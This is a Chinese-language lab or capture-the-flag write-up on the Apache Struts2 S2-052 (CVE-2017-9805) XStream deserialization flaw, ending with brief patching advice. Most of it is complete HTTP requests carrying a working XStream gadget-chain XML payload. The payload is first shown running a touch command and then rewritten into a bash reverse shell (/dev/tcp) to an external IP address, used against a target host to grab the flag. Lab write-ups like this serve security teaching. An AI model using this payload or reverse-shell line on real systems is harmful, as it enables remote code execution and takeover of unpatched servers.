漏洞介绍
名称: struts2-052 远程代码执行 （CVE-2017-9805）
描述: Apache Struts是美国阿帕奇（Apache）软件基金会的一个开源项目，是一套用于创建企业级Java Web应用的开源MVC框架，主要提供两个版本框架产品，Struts 1和Struts 2。REST plugin是其中的一个处理传入URL请求的插件。 攻击者可以通过构造恶意XML请求在目标服务器上远程执行任意代码。漏洞的成因是由于使用XStreamHandler反序列化XStream实例的时候没有执行严格的过滤导致远程代码执行。
解题过程
1.打开靶场
2.抓包
3.在burpsuite中改包进行重放，payload如下。
POST /orders HTTP/1.1
Host: 192.168.0.23:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://192.168.0.23:8080/orders/3/edit
Cookie: JSESSIONID=038C79EF8BD97CF8A5F02024C3EC34ED
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 1673
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder">
<command>
<string>/usr/bin/touch</string>
<string>/tmp/shell.txt</string>
</command>
<redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
上面的数据包中执行命令的地方在这里：
<command>
<string>/usr/bin/touch</string>
<string>/tmp/shell.txt</string>
</command>
执行的是创建shell.txt文件的命令，但我们需要的是获取flag，于是修改pyload,改成反弹shell的命令：
在远程命令执行过程中，由于务器不识别&这个符号，需要编码，将&换成 &，如下所示
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/82.156.16.168/4444 0>&1</string>
</command>
4.服务器终端打开监听
5.burp中发送构造好的数据包，让目标服务器执行反弹shell命令
我最终发送的数据包为：
POST /orders HTTP/1.1
Host: 118.193.36.37:40649
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://192.168.0.23:8080/orders/3/edit
Cookie: JSESSIONID=038C79EF8BD97CF8A5F02024C3EC34ED
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 1717
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/82.156.16.168/4444 0>&1</string>
</command>
<redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
6.成功反弹shell,执行ls /tmp命令获取flag。
修复建议
升级Apache struts 至 2.5.13 版本
如果系统没有使用Struts REST插件，那么可以直接删除Struts REST插件，或者在配置文件中加入如下代码，限制服务端文件的扩展名
<constant name=“struts.action.extension” value=“xhtml,json” />
